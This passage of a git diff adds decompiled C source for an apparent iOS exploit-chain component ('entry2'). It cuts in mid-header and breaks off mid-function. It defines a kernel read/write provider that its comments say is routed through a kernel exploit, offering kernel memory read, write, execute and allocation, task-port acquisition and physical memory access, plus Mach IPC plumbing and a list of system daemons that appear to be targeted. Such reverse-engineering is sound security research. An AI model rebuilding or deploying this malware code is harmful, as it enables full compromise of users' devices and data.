(*kwrite)(void *self, uint64_t kaddr, void *data, + uint32_t size, ...); + /* +0x40: 0x11898 — kernel virtual write (→ 0xc634) */ + + kern_return_t (*kexec)(void *self, uint64_t kaddr, ...); + /* +0x48: 0x118d4 — kernel exec/call (→ 0xc870) */ + + kern_return_t (*kalloc)(void *self, uint64_t addr, void *data, + uint32_t size, ...); + /* +0x50: 0x11914 — kernel allocate (→ 0xc400) */ + + kern_return_t (*get_port)(void *self, mach_port_t port, + void *out_rights, void *out_port); + /* +0x58: 0x11968 — get task port via krw (→ 0xb854) + * Note: disasm shows only 4 args (self, port, out_rights, out_port). + * Internally calls e2_get_task_port(port, out_rights, 0, out_port, 0) */ + + kern_return_t (*physrw)(void *self, uint64_t physaddr, + void *buf, uint32_t size); + /* +0x60: 0x1186c — physical memory r/w (→ 0xba30) */ + + void * (*get_base)(void *self); + /* +0x68: 0x119a0 — get kernel base address */ +} krw_provider_t; + +/* ── KRW channel (created at 0x11720) ─────────────────────────────── */ + +typedef struct krw_channel { + uint16_t version; /* +0x00: 1 */ + uint16_t _pad02; + uint32_t _pad04; + void *driver_handle; /* +0x08: handle from driver backend */ + uint64_t target_addr; /* +0x10 */ + uint32_t target_size; /* +0x18 */ + uint32_t _pad1c; + void *extra; /* +0x20 */ + void (*fn_read)(void*); /* +0x28: PAC-signed read op */ + void (*fn_write)(void*); /* +0x30: PAC-signed write op */ + void (*fn_info)(void*); /* +0x38: PAC-signed info op */ +} krw_channel_t; + +/* ── Driver backend context (created at 0x182a8, 0x178 bytes) ─────── */ + +typedef struct driver_backend { + void *driver_ref; /* +0x00: driver_t* from type0x09 */ + void *target_binding; /* +0x08: bound target descriptor */ + bool owns_target; /* +0x10: whether we allocated the target */ + uint8_t _pad11[0x0B]; + uint8_t flags_1c; /* +0x1c */ + uint8_t sandbox_result; /* +0x1d */ + uint8_t _pad1e[0x02]; + void *libcache_handle; /* +0x20: dlopen("/usr/lib/system/libcache.dylib") */ + /* ... further fields for symbol resolution, Mach-O parsing ... */ + uint32_t kern_version; /* +0x18: extracted from dyld header */ + /* ... */ + void *mach_header; /* +0xC8: _NSGetMachExecuteHeader() */ + void *argc_ptr; /* +0xD0: _NSGetArgc() */ + void *argv_ptr; /* +0xD8: _NSGetArgv() */ + void *environ_ptr; /* +0xE0: _NSGetEnviron() */ + void *progname_ptr; /* +0xE8: _NSGetProgname() */ + /* ... rest of 0x178 bytes ... */ +} driver_backend_t; + +/* ── F00DBEEF container entry (16 bytes each) ─────────────────────── * + * Layout confirmed from bootstrap.dylib at 0x7c9c–0x7e0c: + * type_flags at +0x00, flags at +0x04, + * data_offset at +0x08, data_size at +0x0c + */ +typedef struct foodbeef_entry { + uint32_t type_flags; /* upper 16 bits = segment type */ + uint32_t flags; /* typically 0x00000003 */ + uint32_t data_offset; /* offset within container */ + uint32_t data_size; /* size of data */ +} foodbeef_entry_t; + +/* ── F00DBEEF container header (for custom dlsym at 0x1dc98) ──────── */ + +typedef struct foodbeef_container { + uint32_t magic; /* 0xF00DBEEF */ + uint32_t entry_count; + foodbeef_entry_t entries[]; /* flexible array of 16-byte entries */ +} foodbeef_container_t; + +/* ── Resolver object (created at 0x1dbc0, 0x38 bytes) ─────────────── */ + +typedef struct symbol_resolver { + uint32_t flags; /* +0x00: 0x10001 */ + uint32_t _pad; + void *dyld_handle; /* +0x08: internal dyld handle */ + + kern_return_t (*fn_lookup)(void *handle, void *container, uint32_t size); + /* +0x10: symbol lookup function */ + + kern_return_t (*fn_18)(void*); + /* +0x18 */ + + kern_return_t (*fn_20)(void*); + /* +0x20 */ + + kern_return_t (*fn_28)(void*); + /* +0x28 */ + + kern_return_t (*fn_30)(void*); + /* +0x30 */ +} symbol_resolver_t; + +/* ── Mach IPC message layout ──────────────────────────────────────── */ + +typedef struct e2_mach_msg { + mach_msg_header_t header; /* +0x00 */ + uint32_t msg_id; /* +0x18: identifies message type */ + uint32_t flags; /* +0x1c */ + /* payload follows */ +} e2_mach_msg_t; + +/* ── IPC response (from 0xa908/0xaa00) ────────────────────────────── */ + +typedef struct ipc_response { + uint32_t field_00; /* +0x00: flags (bit 31 checked) */ + uint32_t field_04; /* +0x04: total size */ + uint8_t _pad08[0x0C]; + uint32_t msg_type; /* +0x14: expected 1 or 2 */ + uint32_t name_len; /* +0x18: length of name string */ + uint32_t extra_len; /* +0x1c: length of extra data */ + char name[]; /* +0x20: null-terminated name, then extra data */ +} ipc_response_t; + +/* ── Thread worker context (passed to pthread_create at 0xa378) ───── */ + +typedef struct worker_ctx { + void *fn; /* +0x00: function to call (PAC-signed) */ + krw_provider_t *krw; /* +0x08: krw provider */ + void *data; /* +0x10: module data buffer */ + uint32_t data_len; /* +0x18: module data length */ + /* populated before thread spawn, read by worker */ +} worker_ctx_t; + +/* ── Process name whitelist for daemon matching ───────────────────── */ + +static const char *g_daemon_whitelist[] = { + "launchd", + "UserEventAgent", + "runningboardd", + "fseventsd", + "misd", + "configd", + "powerd", + "keybagd", + "remoted", + "wifid", + "watchdogd", + "thermalmonitord", + "containermanagerd", + "driverkitd", + "lockdownd", + "AppleCredentialManagerDaemon", + "peakpowermanagerd", + "notifyd", + "cfprefsd", + "apfs_iosd", + "ospredictiond", + "biometrickitd", + "locationd", + "nehelper", + "nesessionmanager", + "CloudKeychainProxy", + "filecoordinationd", + "osanalyticshelper", + "CAReportingService", + "wifianalyticsd", + "logd_helper", + "OTATaskingAgent", + "wifip2pd", + "amfid", + "GSSCred", + "nanoregistrylaunchd", + "mobile_storage_proxy", + "MobileStorageMounter", + "diskimagescontroller", + "online-auth-agent", + "DTServiceHub", + "diagnosticd", + "wifivelocityd", + "deleted_helper", + "coresymbolicationd", + "tailspind", + "backupd", + "SpringBoard", + NULL +}; +#define DAEMON_WHITELIST_COUNT 48 /* 48 non-NULL entries; table is 0x190 bytes (50 ptrs) in binary */ + +/* ── Function declarations ────────────────────────────────────────── */ + +/* PAC helpers (0x861c–0x8664) */ +uint64_t e2_pacia(uint64_t ptr, uint64_t ctx); +uint64_t e2_pacda(uint64_t ptr, uint64_t ctx); +uint64_t e2_pacib(uint64_t ptr, uint64_t ctx); +uint64_t e2_pacdb(uint64_t ptr, uint64_t ctx); +int e2_check_pac(void); +uint64_t e2_strip_pac(uint64_t ptr); +uint64_t e2_sign_pointer(uint64_t ptr, uint64_t ctx); + +/* Mach trap wrappers (0x6000–0x60a0) */ +int64_t e2_trap_guarded_open(uint64_t a, uint64_t b, uint64_t c, uint64_t d); +int64_t e2_trap_guarded_write(uint64_t a, uint64_t b, uint64_t c, uint64_t d); +mach_port_t e2_trap_mach_reply_port(void); +mach_port_t e2_trap_thread_self(void); +mach_port_t e2_trap_task_self(void); +mach_port_t e2_trap_host_self(void); +kern_return_t e2_trap_port_dealloc(mach_port_t task, mach_port_t port); +kern_return_t e2_trap_mach_msg(void *msg, uint32_t option, uint32_t send_size, + uint32_t rcv_size, mach_port_t rcv_name, + uint32_t timeout, mach_port_t notify); +int e2_trap_pid_for_task(mach_port_t task); +kern_return_t e2_trap_vm_dealloc(mach_port_t task, uint64_t addr, uint64_t size); +kern_return_t e2_trap_port_mod_refs(mach_port_t task, mach_port_t port, + uint32_t right, int32_t delta); + +/* Custom dlsym (0x1dc98) */ +kern_return_t e2_custom_dlsym(void *output, void *container, uint32_t size); + +/* Resolver (0x1dbc0) */ +kern_return_t e2_create_resolver(symbol_resolver_t **out); + +/* Container parsing (0x60a4–0x6124) */ +kern_return_t e2_parse_and_resolve(void *ctx); + +/* Linker/loader (0x6128–0x6460) */ +kern_return_t e2_link_module(void *ctx, void *name, void *data, + void *extra, uint32_t *stage); + +/* Mach IPC (0xa6b8, 0xa820, 0xab30) */ +kern_return_t e2_send_recv_msg(mach_port_t port, uint32_t msg_id, + uint32_t flags, void **reply, uint32_t *reply_size); +kern_return_t e2_send_msg(mach_port_t port, uint32_t msg_id, + mach_port_t reply_port, uint32_t extra, uint32_t final); +kern_return_t e2_recv_msg(mach_port_t port, uint32_t max_size, + uint32_t options, uint32_t timeout, + void **out, uint32_t *out_size); + +/* Runtime context (0xa908) */ +kern_return_t e2_get_runtime_context(uint32_t stage, + ipc_response_t **out, uint32_t *out_size); + +/* Driver init (0x182a8) */ +kern_return_t e2_init_driver_backend(driver_backend_t *out, driver_t *driver, + void *target, const char *extra); + +/* Driver connect (0xc12c) */ +kern_return_t e2_driver_connect(void *dest, void *driver_ref, + void *target, void *binding); + +/* Driver cleanup (0xc094) */ +kern_return_t e2_driver_cleanup(void *driver_ctx); + +/* Driver backend destroy (0x185d0) */ +kern_return_t e2_destroy_driver_backend(void *backend); + +/* Driver backend sub-cleanup (0x14714) */ +kern_return_t e2_backend_sub_cleanup(void *backend); + +/* Bind target to driver context (0x18670) */ +kern_return_t e2_bind_target(void *context, void *target); + +/* Get driver info via csops (0x187d4) */ +kern_return_t e2_get_driver_info(void *internal); + +/* KRW provider (0x11298) */ +kern_return_t e2_create_krw_provider(void *output, driver_t *driver, + void *target, void *extra, + void *context, int flags); + +/* KRW dispatch (0xba30) — generic kernel r/w dispatch + * Called with different arg counts depending on operation: + * kread: e2_krw_dispatch(kaddr, 3) — virtual read, type=3 + * physrw: e2_krw_dispatch(physaddr, buf, size) — physical r/w + * kalloc: e2_krw_dispatch(name, alloc_size, &out_port) + */ +kern_return_t e2_krw_dispatch(uint64_t arg0, ...); + +/* Task port via krw (0xb854) */ +kern_return_t e2_get_task_port(mach_port_t port, void *out_rights, + void *arg2, void *out_port, void *arg4); + +/* Kernel write implementation (0xc634) */ +kern_return_t e2_kwrite_impl(void *driver_conn, mach_port_t port, + void *data, uint32_t size, + void *path, void *x5, uint32_t x6, + void *x7 /*, stack args */); + +/* Kernel exec implementation (0xc870) */ +kern_return_t e2_kexec_impl(void *driver_conn, int32_t count, + void *data, uint32_t size, + void *path, void *x5, uint32_t x6, + void *x7 /*, stack args */); + +/* Kernel alloc implementation (0xc400) */ +kern_return_t e2_kalloc_impl(void *driver_conn, void *name, + uint64_t alloc_size, void *data, + uint32_t size, void *path, + uint32_t x6, void *x7 /*, stack args */); + +/* IOKit connection (0x17e7c) */ +kern_return_t e2_iokit_connect(void *driver, const char *name, + uint32_t name_len, uint32_t flags, + void **out); + +/* Memory helpers (0x10010, 0x100a4) */ +void *e2_memcpy_custom(void *dst, const void *src, size_t len); +void *e2_memset_custom(void *dst, int val, size_t len); + +/* Exports */ +kern_return_t _end(mach_port_t port, uint32_t conn_info, + void *container_data, void *extra, uint32_t stage); +void _last(void *ctx, uint32_t size, void *data, + uint32_t flags, void *stack, uint32_t cleanup); + +#endif /* ENTRY2_H */ diff --git a/src/entry2/ipc.c b/src/entry2/ipc.c new file mode 100644 index 0000000..ec81581 --- /dev/null +++ b/src/entry2/ipc.c @@ -0,0 +1,267 @@ +/* + * ipc.c - Mach IPC messaging layer + * + * Decompiled from entry2_type0x0f.dylib offsets 0xa6b8–0xacb8 + * + * All communication between entry2 and the bootstrap/type0x09 happens + * through Mach messages. This layer handles send/recv with timeouts, + * port allocation, and response validation. + */ + +#include "entry2.h" +#include +#include +#include + +/* ── e2_send_msg (0xa820) ────────────────────────────────────────── * + * Sends a Mach message to a port with optional reply port. + * + * Message layout (0x20 bytes): + * [0x00] msg_size | msg_bits (0x13 or 0x1413 depending on reply_port) + * [0x04] unused + * [0x08] remote_port | local_port + * [0x10] (voucher/id) + * [0x18] stage | extra + * [0x1c] final + */ +kern_return_t e2_send_msg(mach_port_t port, uint32_t msg_id, + mach_port_t reply_port, uint32_t extra, + uint32_t final) +{ + if (port + 1 < 2) { + /* port is 0 or MACH_PORT_NULL — can't send */ + return E2_ERR_MACH_MSG - 0xFFE; /* 0x0001F039 */ + } + + /* Build the message on stack (0x20 bytes) */ + struct { + uint32_t bits; /* MACH_MSGH_BITS */ + uint32_t size; /* 0x20 */ + mach_port_t remote; + mach_port_t local; + uint64_t voucher; /* from constant pool at 0x1ef60 */ + uint32_t stage; + uint32_t extra; + } msg; + + memset(&msg, 0, sizeof(msg)); + + /* If reply_port is valid, include MACH_MSG_TYPE_MAKE_SEND for reply */ + uint32_t bits = (reply_port + 1 > 1) ? 0x1413 : 0x13; + msg.bits = bits; + msg.size = 0x20; + msg.remote = port; + msg.local = reply_port; + /* voucher loaded from literal pool */ + msg.stage = msg_id; + msg.extra = extra; + + kern_return_t kr = mach_msg( + (mach_msg_header_t *)&msg, + MACH_SEND_MSG, /* option = 0x11 (send + timeout) */ + 0x20, /* send_size */ + 0, /* rcv_size = 0x64 */ + port, /* rcv_name */ + 100, /* timeout = 100ms */ + MACH_PORT_NULL /* notify */ + ); + + if (kr == KERN_SUCCESS) { + return 0; + } + if (kr == 0x10) { + /* MACH_SEND_TIMED_OUT — specific handling */ + return E2_ERR_MACH_MSG; + } + if (kr == MACH_SEND_INVALID_DEST) { + return E2_ERR_MACH_MSG - 1; + } + return E2_ERR_MACH_MSG; +} + +/* ── e2_recv_msg (0xab30) ────────────────────────────────────────── * + * Receives a Mach message on a port with optional timeout. + * + * Allocates a receive buffer, validates the response header, + * and returns the full message to the caller. + */ +kern_return_t e2_recv_msg(mach_port_t port, uint32_t max_size, + uint32_t options, uint32_t timeout, + void **out, uint32_t *out_size) +{ + if (max_size < 0x18) return E2_ERR_NULL; + if (!out) return E2_ERR_NULL; + if (!out_size) return E2_ERR_NULL; + + uint32_t buf_size = max_size + 8; + void *buf = calloc(1, buf_size); + if (!buf) return E2_ERR_ALLOC; + + /* Compose mach_msg option bits */ + uint32_t msg_option = options | MACH_RCV_MSG; /* 0x102 */ + + kern_return_t kr = mach_msg( + (mach_msg_header_t *)buf, + msg_option, + 0, /* send_size */ + buf_size, /* rcv_size */ + port, /* rcv_name */ + timeout, + MACH_PORT_NULL + ); + + /* Handle MACH_RCV_TOO_LARGE (0x10004004) — message didn't fit */ + if (kr == 0x10004004) { + uint32_t actual_size = ((mach_msg_header_t *)buf)->msgh_size; + if (actual_size - 0x18 > 0x063FFFE8) { + /* Absurdly large — reject */ + *out = NULL; + *out_size = actual_size; + /* Send back a discard reply */ + mach_msg((mach_msg_header_t *)buf, MACH_RCV_MSG, + 0, buf_size, port, 0, 0); + goto fail; + } + *out = NULL; + *out_size = actual_size; + goto fail; + } + + /* Handle MACH_RCV_TIMED_OUT (0x10004003) */ + if (kr == 0x10004003) { + goto fail; + } + + if (kr != KERN_SUCCESS) { + /* Check for interrupt-like errors (0x1000400C, 0x10004008) */ + uint32_t masked = kr & ~0x4; + if (masked == 0x10004008) { + mach_msg_destroy((mach_msg_header_t *)buf); + } + goto fail; + } + + /* Validate response size */ + uint32_t resp_size = ((mach_msg_header_t *)buf)->msgh_size; + if (resp_size < 0x18 || resp_size > max_size) { + mach_msg_destroy((mach_msg_header_t *)buf); + goto fail; + } + + /* Success — transfer ownership to caller */ + *out = buf; + *out_size = resp_size; + return KERN_SUCCESS; + +fail: + bzero(buf, buf_size); + free(buf); + return kr ? kr : E2_ERR_IPC_BASE; +} + +/* ── e2_send_recv_msg (0xa6b8) ───────────────────────────────────── * + * Full round-trip: allocate reply port, send request, receive response. + * + * This is the primary IPC function used by the runtime context fetch + * and all krw operations. + */ +kern_return_t e2_send_recv_msg(mach_port_t port, uint32_t msg_id, + uint32_t flags, void **reply, + uint32_t *reply_size) +{ + if (port + 1 < 2 || !reply || !reply_size) { + if (port + 1 > 1) + return E2_ERR_IPC_BASE + 0x16; + return E2_ERR_NULL; + } + + /* Allocate a receive right for the reply */ + mach_port_t reply_port = MACH_PORT_NULL; + kern_return_t kr = mach_port_allocate( + mach_task_self(), + MACH_PORT_RIGHT_RECEIVE, + &reply_port + ); + if (kr != KERN_SUCCESS) + return E2_ERR_IPC_BASE; + + /* Send the request with reply port */ + kr = e2_send_msg(port, msg_id, reply_port, flags, 0); + if (kr != KERN_SUCCESS) + goto cleanup; + + if (reply_port + 1 < 2) { + kr = E2_ERR_NULL; + goto cleanup; + } + + /* Wait for reply with 30-second timeout */ + void *response = NULL; + uint32_t resp_size = 0; + kr = e2_recv_msg(reply_port, 0x18, 4, 30000, &response, &resp_size); + + /* On timeout (0x1E03B), retry without timeout */ + if (kr == (E2_ERR_IPC_BASE + 0x18)) { + kr = e2_recv_msg(reply_port, resp_size, 0, 0, &response, &resp_size); + } + + if (kr == KERN_SUCCESS) { + *reply = response; + *reply_size = resp_size; + } + +cleanup: + /* Destroy the reply port */ + mach_port_mod_refs(mach_task_self(), reply_port, + MACH_PORT_RIGHT_RECEIVE, -1); + return kr; +} + +/* ── e2_get_runtime_context (0xa908) ─────────────────────────────── * + * Sends msg_id=8 to the bootstrap port and receives the runtime + * context, which includes container data and connection info. + * + * Response validation: + * - Size >= 0x40 + * - msg_type (offset 0x14) == 1 + * - flags (offset 0x00) bit 31 must be clear + */ +kern_return_t e2_get_runtime_context(uint32_t stage, + ipc_response_t **out, + uint32_t *out_size) +{ + if (!out || !out_size) + return E2_ERR_NULL; + + void *response = NULL; + uint32_t resp_size = 0; + + kern_return_t kr = e2_send_recv_msg(stage, 8, 0, &response, &resp_size); + if (kr != KERN_SUCCESS) + return kr; + + /* Validate response */ + if (resp_size < 0x40 || !response) + goto invalid; + + ipc_response_t *resp = (ipc_response_t *)response; + + if (resp->msg_type != 1) + goto invalid; + + if (resp->field_00 & 0x80000000) + goto invalid; + + /* Success */ + *out = resp; + *out_size = resp_size; + return KERN_SUCCESS; + +invalid: + if (response) { + mach_msg_destroy((mach_msg_header_t *)response); + bzero(response, resp_size); + free(response); + } + return E2_ERR_MSG_INVALID; +} diff --git a/src/entry2/krw.c b/src/entry2/krw.c new file mode 100644 index 0000000..437f814 --- /dev/null +++ b/src/entry2/krw.c @@ -0,0 +1,793 @@ +/* + * krw.c - Kernel Read/Write provider + * + * Decompiled from entry2_type0x0f.dylib offsets 0x11298–0x11a5c + * + * This module creates and manages the KRW (kernel read/write) provider, + * which wraps the driver_t obtained from type0x09 (LOADER) into a + * PAC-signed vtable of kernel manipulation functions. + * + * The KRW provider is the core of entry2's capability: it provides + * kernel memory read, write, exec, allocation, task port acquisition, + * physical memory access, and kernel base discovery — all routed + * through the type0x09 LOADER's kernel exploit. + */ + +#include "entry2.h" +#include +#include + +/* Forward declarations for vtable functions */ +static kern_return_t krw_close(void *self); +static kern_return_t krw_bind(void *self, void *target); +static kern_return_t krw_unbind(void *self); +static kern_return_t krw_get_info(void *self); +static kern_return_t krw_open_rw(void *self, const char *name, + uint32_t name_len, uint32_t flags, void **out); +static kern_return_t krw_kread(void *self, uint64_t kaddr, uint32_t type); +static kern_return_t krw_physrw(void *self, uint64_t physaddr, + void *buf, uint32_t size); +static kern_return_t krw_kwrite(void *self, ...); +static kern_return_t krw_kexec(void *self, ...); +static kern_return_t krw_kalloc(void *self, ...); +static kern_return_t krw_get_port(void *self, mach_port_t port, + void *out_rights, void *out_port); +static void *krw_get_base(void *self); + +/* Forward declaration for internal validation */ +static kern_return_t e2_validate_krw(type09_connection_t *conn); + + +/* ── e2_create_krw_provider (0x11298) ────────────────────────────── * + * Creates the KRW provider object from a driver_t obtained from + * type0x09's _driver() export. + * + * Parameters: + * output — pointer to store the krw_provider_t* + * driver — driver_t* from _driver() (version=2, methods>=2) + * target — target process descriptor (optional) + * extra — extra context from bootstrap + * context — connection context + * flags — if non-zero, performs eager krw validation + * + * The function: + * 1. Allocates a connection context (0x20 bytes) + * 2. Stores driver reference and target info + * 3. Calls e2_init_driver_backend (0x182a8) to: + * - Resolve _NSGetMachExecuteHeader, _NSGetArgc, _NSGetArgv, etc. + * - Find dyld base by scanning memory for MH_MAGIC_64 + * - Open /usr/lib/system/libcache.dylib + * - Initialize Mach-O parser and symbol resolver + * 4. If flags != 0, validates the krw connection (0x11488) + * 5. Allocates 0x70-byte vtable and fills with PAC-signed function ptrs + */ +kern_return_t e2_create_krw_provider(void *output, driver_t *driver, + void *target, void *extra, + void *context, int flags) +{ + kern_return_t err = E2_ERR_NULL; + + if (!output) + return E2_ERR_NULL; + + /* Validate driver descriptor if provided */ + if (driver) { + if (driver->version != 2) + return E2_ERR_NULL; + if (driver->method_count < 2) + return E2_ERR_NULL; + } + + if (extra) { + /* Validate extra context: version field at +0x00 must be 1, + * and count field at +0x02 must be non-zero */ + uint16_t ver = *(uint16_t *)extra; + if (ver != 1) return E2_ERR_NULL; + uint16_t cnt = *(uint16_t *)((uint8_t *)extra + 2); + if (cnt == 0) return E2_ERR_NULL; + } + + /* Step 1: Allocate connection context (0x20 bytes) */ + type09_connection_t *conn = calloc(1, 0x20); + if (!conn) return E2_ERR_ALLOC; + + conn->context = context; + conn->target_info = driver; /* store driver reference */ + + /* Step 2: Initialize driver backend (0x182a8) */ + kern_return_t kr = e2_init_driver_backend( + (driver_backend_t *)conn, driver, target, extra + ); + + if (kr != KERN_SUCCESS) { + free(conn); + return kr; + } + + /* Step 3: If flags set, validate/initialize the krw connection */ + if (flags) { + kr = e2_validate_krw(conn); + if (kr != KERN_SUCCESS) { + /* Cleanup on failure */ + e2_driver_cleanup(conn->driver_conn); + conn->driver_conn = NULL; + /* Destroy connection internal state */ + free(conn); + return kr; + } + } + + /* Step 4: Allocate the KRW provider vtable (0x70 bytes) */ + krw_provider_t *krw = calloc(1, 0x70); + if (!krw) { + e2_driver_cleanup(conn->driver_conn); + free(conn); + return E2_ERR_ALLOC; + } + + krw->flags = 0x10003; + krw->context = conn; + + /* + * Step 5: Populate vtable with PAC-signed function pointers. + * + * Each entry is signed using paciza (PAC Instruction Address with + * zero context) before being stored. At call time, blraaz is used + * to authenticate and branch. + * + * This prevents an attacker from substituting function pointers + * in the vtable — any tampering would cause a PAC fault. + */ + + /* +0x10: close — destroy provider, free all resources */ + krw->close = (void *)e2_sign_pointer((uint64_t)krw_close, 0); + + /* +0x18: bind — bind to a target process descriptor */ + krw->bind = (void *)e2_sign_pointer((uint64_t)krw_bind, 0); + + /* +0x20: unbind — disconnect from target, cleanup driver state */ + krw->unbind = (void *)e2_sign_pointer((uint64_t)krw_unbind, 0); + + /* +0x28: get_info — query driver info via csops */ + krw->get_info = (void *)e2_sign_pointer((uint64_t)krw_get_info, 0); + + /* +0x30: open_rw — open a kernel read/write channel */ + krw->open_rw = (void *)e2_sign_pointer((uint64_t)krw_open_rw, 0); + + /* +0x38: kread — kernel virtual memory read */ + krw->kread = (void *)e2_sign_pointer((uint64_t)krw_kread, 0); + + /* +0x40: kwrite — kernel virtual memory write */ + krw->kwrite = (void *)e2_sign_pointer((uint64_t)krw_kwrite, 0); + + /* +0x48: kexec — kernel function call/exec */ + krw->kexec = (void *)e2_sign_pointer((uint64_t)krw_kexec, 0); + + /* +0x50: kalloc — kernel memory allocation */ + krw->kalloc = (void *)e2_sign_pointer((uint64_t)krw_kalloc, 0); + + /* +0x58: get_port — acquire task port via kernel r/w */ + krw->get_port = (void *)e2_sign_pointer((uint64_t)krw_get_port, 0); + + /* +0x60: physrw — physical memory read/write */ + krw->physrw = (void *)e2_sign_pointer((uint64_t)krw_physrw, 0); + + /* +0x68: get_base — get kernel slide / base address */ + krw->get_base = (void *)e2_sign_pointer((uint64_t)krw_get_base, 0); + + *(krw_provider_t **)output = krw; + return KERN_SUCCESS; +} + + +/* ────────────────────────────────────────────────────────────────── + * KRW vtable implementations + * ────────────────────────────────────────────────────────────────── */ + +/* ── krw_close (0x11510) ─────────────────────────────────────────── * + * Destroys the KRW provider and all associated resources. + * + * asm: + * ldr x21, [x0, #0x8] // conn = krw->context + * ldr x0, [x21, #0x18] // conn->driver_conn + * cbz x0, alt_path // if no driver_conn, skip + * bl 0xc094 // e2_driver_cleanup(driver_conn) + * ldr x0, [x21] // conn->context + * bl 0x185d0 // e2_destroy_driver_backend(context) + * ... zero conn (32 bytes), free conn ... + * ... zero krw (0x70 bytes), free krw ... + */ +static kern_return_t krw_close(void *self) +{ + if (!self) return E2_ERR_NULL; + + krw_provider_t *krw = (krw_provider_t *)self; + type09_connection_t *conn = krw->context; + kern_return_t kr; + + if (conn->driver_conn) { + /* Close the driver connection (0xc094) */ + kr = e2_driver_cleanup(conn->driver_conn); + /* Then destroy internal driver backend (0x185d0) */ + kern_return_t kr2 = e2_destroy_driver_backend(conn->context); + /* Use driver_cleanup result unless it was success */ + if (kr == KERN_SUCCESS) + kr = kr2; + } else { + /* No driver connection — just destroy internal state (0x185d0) */ + kr = e2_destroy_driver_backend(conn->context); + } + + /* Zero out and free connection (0x20 bytes) */ + memset(conn, 0, 0x20); + free(conn); + + /* Zero out and free provider (0x70 bytes) */ + memset(krw, 0, 0x70); + free(krw); + + return kr; +} + +/* ── krw_bind (0x115a8) ──────────────────────────────────────────── * + * Binds the KRW provider to a target process descriptor. + * + * asm: + * ldr x20, [x8, #0x8] // conn = krw->context + * ldr x8, [x20, #0x8] // conn->target_info + * cbz x8, do_bind // if not bound, bind + * cmp x8, x19 // if same target, return OK + * ... + * ldr x0, [x20] // conn->context + * bl 0x18670 // e2_bind_target(context, target) + * str x19, [x20, #0x8] // conn->target_info = target + * bl 0x11488 // e2_validate_krw(conn) + * cbz w0, done // if validation fails, clear target + * str xzr, [x20, #0x8] + */ +static kern_return_t krw_bind(void *self, void *target) +{ + if (!self) return E2_ERR_NULL; + if (!target) return E2_ERR_NULL; + + /* Validate target descriptor: version must be 2, methods >= 2 */ + uint16_t ver = *(uint16_t *)target; + if (ver != 2) return E2_ERR_NULL; + uint16_t cnt = *(uint16_t *)((uint8_t *)target + 2); + if (cnt < 2) return E2_ERR_NULL; + + krw_provider_t *krw = (krw_provider_t *)self; + type09_connection_t *conn = krw->context; + + /* Check if already bound */ + if (conn->target_info) { + if (conn->target_info == target) + return KERN_SUCCESS; + return E2_ERR_NULL + 4; /* already bound to different target */ + } + + /* Bind via internal driver context (0x18670) */ + kern_return_t kr = e2_bind_target(conn->context, target); + if (kr != KERN_SUCCESS) + return kr; + + conn->target_info = target; + + /* Validate the binding (0x11488) */ + kr = e2_validate_krw(conn); + if (kr != KERN_SUCCESS) + conn->target_info = NULL; + + return kr; +} + +/* ── krw_unbind (0x11634) ────────────────────────────────────────── * + * Unbinds from the current target, cleaning up the driver connection. + * + * asm (detailed flow): + * ldr x21, [x0, #0x8] // conn = krw->context + * ldr x8, [x21, #0x8] // conn->target_info + * cbz x8, return_zero // not bound — return 0 + * + * ldr x0, [x21, #0x18] // conn->driver_conn + * cbz x0, no_driver_conn + * + * // Has driver_conn: + * bl 0xc094 // kr = e2_driver_cleanup(driver_conn) + * str xzr, [x21, #0x18] // conn->driver_conn = NULL + * ldr x22, [x21] // internal = conn->context + * // release IOKit handle via internal vtable if flag set + * ldr x0, [x22] // handle = internal[+0x00] + * ldrb w8, [x22, #0x10] // flag byte + * ldr x8, [x0, #0x20] // release_fn = handle->vtable[0x20] + * ldr x1, [x22, #0x8] // port = internal[+0x08] + * blraaz x8 // release(handle, port) + * stp xzr, xzr, [x22] // zero internal[0..15] + * strb wzr, [x22, #0x10] // clear flag + * str xzr, [x21, #0x8] // conn->target_info = NULL + */ +static kern_return_t krw_unbind(void *self) +{ + if (!self) return E2_ERR_NULL; + + krw_provider_t *krw = (krw_provider_t *)self; + type09_connection_t *conn = krw->context; + + if (!conn->target_info) { + /* Not bound — nothing to do */ + return KERN_SUCCESS; + } + + kern_return_t kr = KERN_SUCCESS; + void *internal; + + if (conn->driver_conn) { + /* Close driver connection first */ + kr = e2_driver_cleanup(conn->driver_conn); + conn->driver_conn = NULL; + + /* Release IOKit handle via internal context vtable */ + internal = conn->context; + if (internal) { + void *handle = *(void **)internal; + if (handle) { + uint8_t flag = *((uint8_t *)internal + 0x10); + if (flag) { + /* Call release function at handle vtable +0x20 */ + void *(*release_fn)(void *, void *) = + *(void *(**)(void *, void *))((uint8_t *)handle + 0x20); + void *port = *((void **)internal + 1); /* +0x08 */ + /* blraaz release_fn(handle, port) */ + ((void (*)(void *, void *))release_fn)(handle, port); + } + } + /* Zero internal state */ + memset(internal, 0, 0x10); + *((uint8_t *)internal + 0x10) = 0; + } + + if (kr != KERN_SUCCESS) { + /* Keep driver_cleanup error */ + conn->target_info = NULL; + return kr; + } + } else { + /* No driver_conn — still release IOKit handle if present */ + internal = conn->context; + if (internal) { + void *handle = *(void **)internal; + if (handle) { + uint8_t flag = *((uint8_t *)internal + 0x10); + if (flag) { + void *(*release_fn)(void *, void *) = + *(void *(**)(void *, void *))((uint8_t *)handle + 0x20); + void *port = *((void **)internal + 1); + ((void (*)(void *, void *))release_fn)(handle, port); + } + } + memset(internal, 0, 0x10); + *((uint8_t *)internal + 0x10) = 0; + } + } + + conn->target_info = NULL; + return KERN_SUCCESS; +} + +/* ── krw_get_info (0x11704) ──────────────────────────────────────── * + * Gets driver/kernel info. Simple tail-call to e2_get_driver_info. + * + * asm: + * cbz x0, err_null + * ldr x8, [x0, #0x8] // conn = krw->context + * ldr x0, [x8] // x0 = conn->context (internal) + * b 0x187d4 // tail call to e2_get_driver_info + * + * e2_get_driver_info (0x187d4): + * 1. Validates internal, internal[0], internal[0][0x28], internal[0x08] + * 2. Calls getpid() + * 3. Calls csops(pid, CS_OPS_CDHASH, buf, 0x14) to get code dir hash + * 4. If csops succeeds: calls internal[0]->vtable[0x28]( + * internal[0], internal[0x08], 0x40000105, cdhash_buf) + * 5. If csops fails with errno==3: returns E2_ERR_SYSCTL + */ +static kern_return_t krw_get_info(void *self) +{ + if (!self) return E2_ERR_NULL; + + krw_provider_t *krw = (krw_provider_t *)self; + type09_connection_t *conn = krw->context; + + /* Tail call to e2_get_driver_info(conn->context) at 0x187d4 */ + return e2_get_driver_info(conn->context); +} + +/* ── krw_open_rw (0x11720) ───────────────────────────────────────── * + * Opens a kernel read/write channel. + * + * asm: + * calloc(1, 0x40) // allocate channel + * strh w26, [x0] 